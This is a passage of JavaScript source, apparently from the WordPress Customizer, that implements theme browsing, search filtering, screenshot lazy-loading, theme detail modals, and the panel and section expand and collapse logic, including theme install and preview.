								img = new Image();
								img.src = src;
							}
						});
						if ( 'local' !== section.params.filter_type ) {
							wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
						}
					}

					_.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.

					if ( 'local' === section.params.filter_type || 100 > themes.length ) {
						// If we have less than the requested 100 themes, it's the end of the list.
						section.fullyLoaded = true;
					}
				} else {
					if ( 0 === section.loaded ) {
						section.container.find( '.no-themes' ).show();
						wp.a11y.speak( section.container.find( '.no-themes' ).text() );
					} else {
						section.fullyLoaded = true;
					}
				}
				if ( 'local' === section.params.filter_type ) {
					section.updateCount(); // Count of visible theme controls.
				} else {
					section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
				}
				section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
			request.fail(function( data ) {
				if ( 'undefined' === typeof data ) {
					section.container.find( '.unexpected-error' ).show();
					wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
				} else if ( 'undefined' !== typeof console && console.error ) {
					console.error( data );
				}

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
		},

		/**
		 * Loads controls into the section from data received from loadThemes().
		 *
		 * @since 4.9.0
		 * @param {Array}  themes - Array of theme data to create controls with.
		 * @param {number} page   - Page of results being loaded.
		 * @return {void}
		 */
		loadControls: function( themes, page ) {
			var newThemeControls = [],
				section = this;

			// Add controls for each theme.
			_.each( themes, function( theme ) {
				var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
					type: 'theme',
					section: section.params.id,
					theme: theme,
					priority: section.loaded + 1
				} );

				api.control.add( themeControl );
				newThemeControls.push( themeControl );
				section.loaded = section.loaded + 1;
			});

			if ( 1 !== page ) {
				Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
			}
		},

		/**
		 * Determines whether more themes should be loaded, and loads them.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		loadMore: function() {
			var section = this, container, bottom, threshold;
			if ( ! section.fullyLoaded && ! section.loading ) {
				container = section.container.closest( '.customize-themes-full-container' );

				bottom = container.scrollTop() + container.height();
				// Use a fixed distance to the bottom of loaded results to avoid unnecessarily
				// loading results sooner when using a percentage of scroll distance.
				threshold = container.prop( 'scrollHeight' ) - 3000;

				if ( bottom > threshold ) {
					section.loadThemes();
				}
			}
		},

		/**
		 * Event handler for search input that filters visible controls.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} term - The raw search input value.
		 * @return {void}
		 */
		filterSearch: function( term ) {
			var count = 0,
				visible = false,
				section = this,
				noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
				controls = section.controls(),
				terms;

			if ( section.loading ) {
				return;
			}

			// Standardize search term format and split into an array of individual words.
			terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );

			_.each( controls, function( control ) {
				visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
				if ( visible ) {
					count = count + 1;
				}
			});

			if ( 0 === count ) {
				section.container.find( noFilter ).show();
				wp.a11y.speak( section.container.find( noFilter ).text() );
			} else {
				section.container.find( noFilter ).hide();
			}

			section.renderScreenshots();
			api.reflowPaneContents();

			// Update theme count.
			section.updateCountDebounced( count );
		},

		/**
		 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
		 *
		 * @since 4.9.0
		 *
		 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
		 * @return {void}
		 */
		checkTerm: function( section ) {
			var newTerm;
			if ( 'remote' === section.params.filter_type ) {
				newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
				if ( section.term !== newTerm.trim() ) {
					section.initializeNewQuery( newTerm, section.tags );
				}
			}
		},

		/**
		 * Check for filters checked in the feature filter list and initialize a new query.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		filtersChecked: function() {
			var section = this,
			    items = section.container.find( '.filter-group' ).find( ':checkbox' ),
			    tags = [];

			_.each( items.filter( ':checked' ), function( item ) {
				tags.push( $( item ).prop( 'value' ) );
			});

			// When no filters are checked, restore initial state. Update filter count.
			if ( 0 === tags.length ) {
				tags = '';
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
			} else {
				section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
			}

			// Check whether tags have changed, and either load or queue them.
			if ( ! _.isEqual( section.tags, tags ) ) {
				if ( section.loading ) {
					section.nextTags = tags;
				} else {
					if ( 'remote' === section.params.filter_type ) {
						section.initializeNewQuery( section.term, tags );
					} else if ( 'local' === section.params.filter_type ) {
						section.filterSearch( tags.join( ' ' ) );
					}
				}
			}
		},

		/**
		 * Reset the current query and load new results.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} newTerm - New term.
		 * @param {Array} newTags - New tags.
		 * @return {void}
		 */
		initializeNewQuery: function( newTerm, newTags ) {
			var section = this;

			// Clear the controls in the section.
			_.each( section.controls(), function( control ) {
				control.container.remove();
				api.control.remove( control.id );
			});
			section.loaded = 0;
			section.fullyLoaded = false;
			section.screenshotQueue = null;

			// Run a new query, with loadThemes handling paging, etc.
			if ( ! section.loading ) {
				section.term = newTerm;
				section.tags = newTags;
				section.loadThemes();
			} else {
				section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
				section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
			}
			if ( ! section.expanded() ) {
				section.expand(); // Expand the section if it isn't expanded.
			}
		},

		/**
		 * Render control's screenshot if the control comes into view.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		renderScreenshots: function() {
			var section = this;

			// Fill queue initially, or check for more if empty.
			if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {

				// Add controls that haven't had their screenshots rendered.
				section.screenshotQueue = _.filter( section.controls(), function( control ) {
					return ! control.screenshotRendered;
				});
			}

			// Are all screenshots rendered (for now)?
			if ( ! section.screenshotQueue.length ) {
				return;
			}

			section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
				var $imageWrapper = control.container.find( '.theme-screenshot' ),
					$image = $imageWrapper.find( 'img' );

				if ( ! $image.length ) {
					return false;
				}

				if ( $image.is( ':hidden' ) ) {
					return true;
				}

				// Based on unveil.js.
				var wt = section.$window.scrollTop(),
					wb = wt + section.$window.height(),
					et = $image.offset().top,
					ih = $imageWrapper.height(),
					eb = et + ih,
					threshold = ih * 3,
					inView = eb >= wt - threshold && et <= wb + threshold;

				if ( inView ) {
					control.container.trigger( 'render-screenshot' );
				}

				// If the image is in view return false so it's cleared from the queue.
				return ! inView;
			} );
		},

		/**
		 * Get visible count.
		 *
		 * @since 4.9.0
		 *
		 * @return {number} Visible count.
		 */
		getVisibleCount: function() {
			return this.contentContainer.find( 'li.customize-control:visible' ).length;
		},

		/**
		 * Update the number of themes in the section.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		updateCount: function( count ) {
			var section = this, countEl, displayed;

			if ( ! count && 0 !== count ) {
				count = section.getVisibleCount();
			}

			displayed = section.contentContainer.find( '.themes-displayed' );
			countEl = section.contentContainer.find( '.theme-count' );

			if ( 0 === count ) {
				countEl.text( '0' );
			} else {

				// Animate the count change for emphasis.
				displayed.fadeOut( 180, function() {
					countEl.text( count );
					displayed.fadeIn( 180 );
				} );
				wp.a11y.speak( api.settings.l10n.announceThemeCount.replace( '%d', count ) );
			}
		},

		/**
		 * Advance the modal to the next theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		nextTheme: function () {
			var section = this;
			if ( section.getNextTheme() ) {
				section.showDetails( section.getNextTheme(), function() {
					section.overlay.find( '.right' ).focus();
				} );
			}
		},

		/**
		 * Get the next theme model.
		 *
		 * @since 4.2.0
		 *
		 * @return {wp.customize.ThemeControl|boolean} Next theme.
		 */
		getNextTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i + 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Advance the modal to the previous theme.
		 *
		 * @since 4.2.0
		 * @return {void}
		 */
		previousTheme: function () {
			var section = this;
			if ( section.getPreviousTheme() ) {
				section.showDetails( section.getPreviousTheme(), function() {
					section.overlay.find( '.left' ).focus();
				} );
			}
		},

		/**
		 * Get the previous theme model.
		 *
		 * @since 4.2.0
		 * @return {wp.customize.ThemeControl|boolean} Previous theme.
		 */
		getPreviousTheme: function () {
			var section = this, control, nextControl, sectionControls, i;
			control = api.control( section.params.action + '_theme_' + section.currentTheme );
			sectionControls = section.controls();
			i = _.indexOf( sectionControls, control );
			if ( -1 === i ) {
				return false;
			}

			nextControl = sectionControls[ i - 1 ];
			if ( ! nextControl ) {
				return false;
			}
			return nextControl.params.theme;
		},

		/**
		 * Disable buttons when we're viewing the first or last theme.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		updateLimits: function () {
			if ( ! this.getNextTheme() ) {
				this.overlay.find( '.right' ).addClass( 'disabled' );
			}
			if ( ! this.getPreviousTheme() ) {
				this.overlay.find( '.left' ).addClass( 'disabled' );
			}
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @deprecated
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			return api.ThemesPanel.prototype.loadThemePreview.call( this, themeId );
		},

		/**
		 * Render & show the theme details for a given theme model.
		 *
		 * @since 4.2.0
		 *
		 * @param {Object} theme - Theme.
		 * @param {Function} [callback] - Callback once the details have been shown.
		 * @return {void}
		 */
		showDetails: function ( theme, callback ) {
			var section = this, panel = api.panel( 'themes' );
			section.currentTheme = theme.id;
			section.overlay.html( section.template( theme ) )
				.fadeIn( 'fast' )
				.focus();

			function disableSwitchButtons() {
				return ! panel.canSwitchTheme( theme.id );
			}

			// Temporary special function since supplying SFTP credentials does not work yet. See #42184.
			function disableInstallButtons() {
				return disableSwitchButtons() || false === api.settings.theme._canInstall || true === api.settings.theme._filesystemCredentialsNeeded;
			}

			section.overlay.find( 'button.preview, button.preview-theme' ).toggleClass( 'disabled', disableSwitchButtons() );
			section.overlay.find( 'button.theme-install' ).toggleClass( 'disabled', disableInstallButtons() );

			section.$body.addClass( 'modal-open' );
			section.containFocus( section.overlay );
			section.updateLimits();
			wp.a11y.speak( api.settings.l10n.announceThemeDetails.replace( '%s', theme.name ) );
			if ( callback ) {
				callback();
			}
		},

		/**
		 * Close the theme details modal.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		closeDetails: function () {
			var section = this;
			section.$body.removeClass( 'modal-open' );
			section.overlay.fadeOut( 'fast' );
			api.control( section.params.action + '_theme_' + section.currentTheme ).container.find( '.theme' ).focus();
		},

		/**
		 * Keep tab focus within the theme details modal.
		 *
		 * @since 4.2.0
		 *
		 * @param {jQuery} el - Element to contain focus.
		 * @return {void}
		 */
		containFocus: function( el ) {
			var tabbables;

			el.on( 'keydown', function( event ) {

				// Return if it's not the tab key
				// When navigating with prev/next focus is already handled.
				if ( 9 !== event.keyCode ) {
					return;
				}

				// Uses jQuery UI to get the tabbable elements.
				tabbables = $( ':tabbable', el );

				// Keep focus within the overlay.
				if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
					tabbables.first().focus();
					return false;
				} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
					tabbables.last().focus();
					return false;
				}
			});
		}
	});

	api.OuterSection = api.Section.extend(/** @lends wp.customize.OuterSection.prototype */{

		/**
		 * Class wp.customize.OuterSection.
		 *
		 * Creates section outside of the sidebar, there is no ui to trigger collapse/expand so
		 * it would require custom handling.
		 *
		 * @constructs wp.customize.OuterSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		initialize: function() {
			var section = this;
			section.containerParent = '#customize-outer-theme-controls';
			section.containerPaneParent = '.customize-outer-pane-parent';
			api.Section.prototype.initialize.apply( section, arguments );
		},

		/**
		 * Overrides api.Section.prototype.onChangeExpanded to prevent collapse/expand effect
		 * on other sections and panels.
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - The expanded state to transition to.
		 * @param {Object}   [args] - Args.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 * @param {Object}   [args.duration] - The duration for the animation.
		 */
		onChangeExpanded: function( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				body = $( document.body ),
				expand, panel;

			body.toggleClass( 'outer-section-open', expanded );
			section.container.toggleClass( 'open', expanded );
			section.container.removeClass( 'busy' );
			api.section.each( function( _section ) {
				if ( 'outer' === _section.params.type && _section.id !== section.id ) {
					_section.container.removeClass( 'open' );
				}
			} );

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
					}.bind( this );
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.Panel = Container.extend(/** @lends wp.customize.Panel.prototype */{
		containerType: 'panel',

		/**
		 * @constructs wp.customize.Panel
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the panel.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var panel = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.panelConstructor, function( Constructor, type ) {
					if ( Constructor === panel.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( panel, id, params );

			panel.embed();
			panel.deferred.embedded.done( function () {
				panel.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var panel = this,
				container = $( '#customize-theme-controls' ),
				parentContainer = $( '.customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.

			if ( ! panel.headContainer.parent().is( parentContainer ) ) {
				parentContainer.append( panel.headContainer );
			}
			if ( ! panel.contentContainer.parent().is( panel.headContainer ) ) {
				container.append( panel.contentContainer );
			}
			panel.renderContent();

			panel.deferred.embedded.resolve();
		},

		/**
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, panel = this;

			// Expand/Collapse accordion sections on click.
			panel.headContainer.find( '.accordion-section-title' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( ! panel.expanded() ) {
					panel.expand();
				}
			});

			// Close panel.
			panel.container.find( '.customize-panel-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( panel.expanded() ) {
					panel.collapse();
				}
			});

			meta = panel.container.find( '.panel-meta:first' );

			meta.find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}

				var content = meta.find( '.customize-panel-description:first' );
				if ( meta.hasClass( 'open' ) ) {
					meta.toggleClass( 'open' );
					content.slideUp( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					$( this ).attr( 'aria-expanded', false );
				} else {
					content.slideDown( panel.defaultExpandedArguments.duration, function() {
						content.trigger( 'toggled' );
					} );
					meta.toggleClass( 'open' );
					$( this ).attr( 'aria-expanded', true );
				}
			});

		},

		/**
		 * Get the sections that are associated with this panel, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		sections: function () {
			return this._children( 'panel', 'section' );
		},

		/**
		 * Return whether this panel has any active sections.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean} Whether contextually active.
		 */
		isContextuallyActive: function () {
			var panel = this,
				sections = panel.sections(),
				activeCount = 0;
			_( sections ).each( function ( section ) {
				if ( section.active() && section.isContextuallyActive() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			// Note: there is a second argument 'args' passed.
			var panel = this,
				accordionSection = panel.contentContainer,
				overlay = accordionSection.closest( '.wp-full-overlay' ),
				container = accordionSection.closest( '.wp-full-overlay-sidebar-content' ),
				topPanel = panel.headContainer.find( '.accordion-section-title' ),
				backBtn = accordionSection.find( '.customize-panel-back' ),
				childSections = panel.sections(),
				skipTransition;

			if ( expanded && ! accordionSection.hasClass( 'current-panel' ) ) {
				// Collapse any sibling sections/panels.
				api.section.each( function ( section ) {
					if ( panel.id !== section.panel() ) {
						section.collapse( { duration: 0 } );
					}
				});
				api.panel.each( function ( otherPanel ) {
					if ( panel !== otherPanel ) {
						otherPanel.collapse( { duration: 0 } );
					}
				});

				if ( panel.params.autoExpandSoleSection && 1 === childSections.length && childSections[0].active.get() ) {
					accordionSection.addClass( 'current-panel skip-transition' );
					overlay.addClass( 'in-sub-panel' );

					childSections[0].expand( {
						completeCallback: args.completeCallback
					} );
				} else {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '-1' );
						backBtn.attr( 'tabindex', '0' );

						backBtn.trigger( 'focus' );
						accordionSection.css( 'top', '' );
						container.scrollTop( 0 );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );

					accordionSection.addClass( 'current-panel' );
					overlay.addClass( 'in-sub-panel' );
				}

				api.state( 'expandedPanel' ).set( panel );

			} else if ( ! expanded && accordionSection.hasClass( 'current-panel' ) ) {
				skipTransition = accordionSection.hasClass( 'skip-transition' );
				if ( ! skipTransition ) {
					panel._animateChangeExpanded( function() {
						topPanel.attr( 'tabindex', '0' );
						backBtn.attr( 'tabindex', '-1' );

						topPanel.focus();
						accordionSection.css( 'top', '' );

						if ( args.completeCallback ) {
							args.completeCallback();
						}
					} );
				} else {
					accordionSection.removeClass( 'skip-transition' );
				}

				overlay.removeClass( 'in-sub-panel' );
				accordionSection.removeClass( 'current-panel' );
				if ( panel === api.state( 'expandedPanel' ).get() ) {
					api.state( 'expandedPanel' ).set( false );
				}
			}
		},

		/**
		 * Render the panel from its JS template, if it exists.
		 *
		 * The panel's container must already exist in the DOM.
		 *
		 * @since 4.3.0
		 */
		renderContent: function () {
			var template,
				panel = this;

			// Add the content to the container.
			if ( 0 !== $( '#tmpl-' + panel.templateSelector + '-content' ).length ) {
				template = wp.template( panel.templateSelector + '-content' );
			} else {
				template = wp.template( 'customize-panel-default-content' );
			}
			if ( template && panel.headContainer ) {
				panel.contentContainer.html( template( _.extend(
					{ id: panel.id },
					panel.params
				) ) );
			}
		}
	});

	api.ThemesPanel = api.Panel.extend(/** @lends wp.customize.ThemsPanel.prototype */{

		/**
		 *  Class wp.customize.ThemesPanel.
		 *
		 * Custom section for themes that displays without the customize preview.
		 *
		 * @constructs wp.customize.ThemesPanel
		 * @augments   wp.customize.Panel
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - The ID for the panel.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var panel = this;
			panel.installingThemes = [];
			api.Panel.prototype.initialize.call( panel, id, options );
		},

		/**
		 * Determine whether a given theme can be switched to, or in general.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} [slug] - Theme slug.
		 * @return {boolean} Whether the theme can be switched to.
		 */
		canSwitchTheme: function canSwitchTheme( slug ) {
			if ( slug && slug === api.settings.theme.stylesheet ) {
				return true;
			}
			return 'publish' === api.state( 'selectedChangesetStatus' ).get() && ( '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get() );
		},

		/**
		 * Attach events.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		attachEvents: function() {
			var panel = this;

			// Attach regular panel events.
			api.Panel.prototype.attachEvents.apply( panel );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._canInstall && api.settings.theme._filesystemCredentialsNeeded ) {
				panel.notifications.add( new api.Notification( 'theme_install_unavailable', {
					message: api.l10n.themeInstallUnavailable,
					type: 'info',
					dismissible: true
				} ) );
			}

			function toggleDisabledNotifications() {
				if ( panel.canSwitchTheme() ) {
					panel.notifications.remove( 'theme_switch_unavailable' );
				} else {
					panel.notifications.add( new api.Notification( 'theme_switch_unavailable', {
						message: api.l10n.themePreviewUnavailable,
						type: 'warning'
					} ) );
				}
			}
			toggleDisabledNotifications();
			api.state( 'selectedChangesetStatus' ).bind( toggleDisabledNotifications );
			api.state( 'changesetStatus' ).bind( toggleDisabledNotifications );

			// Collapse panel to customize the current theme.
			panel.contentContainer.on( 'click', '.customize-theme', function() {
				panel.collapse();
			});

			// Toggle between filtering and browsing themes on mobile.
			panel.contentContainer.on( 'click', '.customize-themes-section-title, .customize-themes-mobile-back', function() {
				$( '.wp-full-overlay' ).toggleClass( 'showing-themes' );
			});

			// Install (and maybe preview) a theme.
			panel.contentContainer.on( 'click', '.theme-install', function( event ) {
				panel.installTheme( event );
			});

			// Update a theme. Theme cards have the class, the details modal has the id.
			panel.contentContainer.on( 'click', '.update-theme, #update-theme', function( event ) {

				// #update-theme is a link.
				event.preventDefault();
				event.stopPropagation();

				panel.updateTheme( event );
			});

			// Delete a theme.
			panel.contentContainer.on( 'click', '.delete-theme', function( event ) {
				panel.deleteTheme( event );
			});

			_.bindAll( panel, 'installTheme', 'updateTheme' );
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.9.0
		 *
		 * @param {boolean}  expanded - Expanded state.
		 * @param {Object}   args - Args.
		 * @param {boolean}  args.unchanged - Whether or not the state changed.
		 * @param {Function} args.completeCallback - Callback to execute when the animation completes.
		 * @return {void}
		 */
		onChangeExpanded: function( expanded, args ) {
			var panel = this, overlay, sections, hasExpandedSection = false;

			// Expand/collapse the panel normally.
			api.Panel.prototype.onChangeExpanded.apply( this, [ expanded, args ] );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			overlay = panel.headContainer.closest( '.wp-full-overlay' );

			if ( expanded ) {
				overlay
					.addClass( 'in-themes-panel' )
					.delay( 200 ).find( '.customize-themes-full-container' ).addClass( 'animate' );

				_.delay( function() {
					overlay.addClass( 'themes-panel-expanded' );
				}, 200 );

				// Automatically open the first section (except on small screens), if one isn't already expanded.
				if ( 600 < window.innerWidth ) {
					sections = panel.sections();
					_.each( sections, function( section ) {
						if ( section.expanded() ) {
							hasExpandedSection = true;
						}
					} );
					if ( ! hasExpandedSection && sections.length > 0 ) {
						sections[0].expand();
					}
				}
			} else {
				overlay
					.removeClass( 'in-themes-panel themes-panel-expanded' )
					.find( '.customize-themes-full-container' ).removeClass( 'animate' );
			}
		},

		/**
		 * Install a theme via wp.updates.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {jQuery.promise} Promise.
		 */
		installTheme: function( event ) {
			var panel = this, preview, onInstallSuccess, slug = $( event.target ).data( 'slug' ), deferred = $.Deferred(), request;
			preview = $( event.target ).hasClass( 'preview' );

			// Temporary since supplying SFTP credentials does not work yet. See #42184.
			if ( api.settings.theme._filesystemCredentialsNeeded ) {
				deferred.reject({
					errorCode: 'theme_install_unavailable'
				});
				return deferred.promise();
			}

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( slug ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			// Theme is already being installed.
			if ( _.contains( panel.installingThemes, slug ) ) {
				deferred.reject({
					errorCode: 'theme_already_installing'
				});
				return deferred.promise();
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			onInstallSuccess = function( response ) {
				var theme = false, themeControl;
				if ( preview ) {
					api.notifications.remove( 'theme_installing' );

					panel.loadThemePreview( slug );

				} else {
					api.control.each( function( control ) {
						if ( 'theme' === control.params.type && control.params.theme.id === response.slug ) {
							theme = control.params.theme; // Used below to add theme control.
							control.rerenderAsInstalled( true );
						}
					});

					// Don't add the same theme more than once.
					if ( ! theme || api.control.has( 'installed_theme_' + theme.id ) ) {
						deferred.resolve( response );
						return;
					}

					// Add theme control to installed section.
					theme.type = 'installed';
					themeControl = new api.controlConstructor.theme( 'installed_theme_' + theme.id, {
						type: 'theme',
						section: 'installed_themes',
						theme: theme,
						priority: 0 // Add all newly-installed themes to the top.
					} );

					api.control.add( themeControl );
					api.control( themeControl.id ).container.trigger( 'render-screenshot' );

					// Close the details modal if it's open to the installed theme.
					api.section.each( function( section ) {
						if ( 'themes' === section.params.type ) {
							if ( theme.id === section.currentTheme ) { // Don't close the modal if the user has navigated elsewhere.
								section.closeDetails();
							}
						}
					});
				}
				deferred.resolve( response );
			};

			panel.installingThemes.push( slug ); // Note: we don't remove elements from installingThemes, since they shouldn't be installed again.
			request = wp.updates.installTheme( {
				slug: slug
			} );

			// Also preview the theme as the event is triggered on Install & Preview.
			if ( preview ) {
				api.notifications.add( new api.OverlayNotification( 'theme_installing', {
					message: api.l10n.themeDownloading,
					type: 'info',
					loading: true
				} ) );
			}

			request.done( onInstallSuccess );
			request.fail( function() {
				api.notifications.remove( 'theme_installing' );
			} );

			return deferred.promise();
		},

		/**
		 * Load theme preview.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} themeId Theme ID.
		 * @return {jQuery.promise} Promise.
		 */
		loadThemePreview: function( themeId ) {
			var panel = this, deferred = $.Deferred(), onceProcessingComplete, urlParser, queryParams;

			// Prevent loading a non-active theme preview when there is a drafted/scheduled changeset.
			if ( ! panel.canSwitchTheme( themeId ) ) {
				deferred.reject({
					errorCode: 'theme_switch_unavailable'
				});
				return deferred.promise();
			}

			urlParser = document.createElement( 'a' );
			urlParser.href = location.href;
			queryParams = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					theme: themeId,
					changeset_uuid: api.settings.changeset.uuid,
					'return': api.settings.url['return']
				}
			);

			// Include autosaved param to load autosave revision without prompting user to restore it.
			if ( ! api.state( 'saved' ).get() ) {
				queryParams.customize_autosaved = 'on';
			}

			urlParser.search = $.param( queryParams );

			// Update loading message. Everything else is handled by reloading the page.
			api.notifications.add( new api.OverlayNotification( 'theme_previewing', {
				message: api.l10n.themePreviewWait,
				type: 'info',
				loading: true
			} ) );

			onceProcessingComplete = function() {
				var request;
				if ( api.state( 'processing' ).get() > 0 ) {
					return;
				}

				api.state( 'processing' ).unbind( onceProcessingComplete );

				request = api.requestChangesetUpdate( {}, { autosave: true } );
				request.done( function() {
					deferred.resolve();
					$( window ).off( 'beforeunload.customize-confirm' );
					location.replace( urlParser.href );
				} );
				request.fail( function() {

					// @todo Show notification regarding failure.
					api.notifications.remove( 'theme_previewing' );

					deferred.reject();
				} );
			};

			if ( 0 === api.state( 'processing' ).get() ) {
				onceProcessingComplete();
			} else {
				api.state( 'processing' ).bind( onceProcessingComplete );
			}

			return deferred.promise();
		},

		/**
		 * Update a theme via wp.updates.
		 *
		 * @since 4.9.0
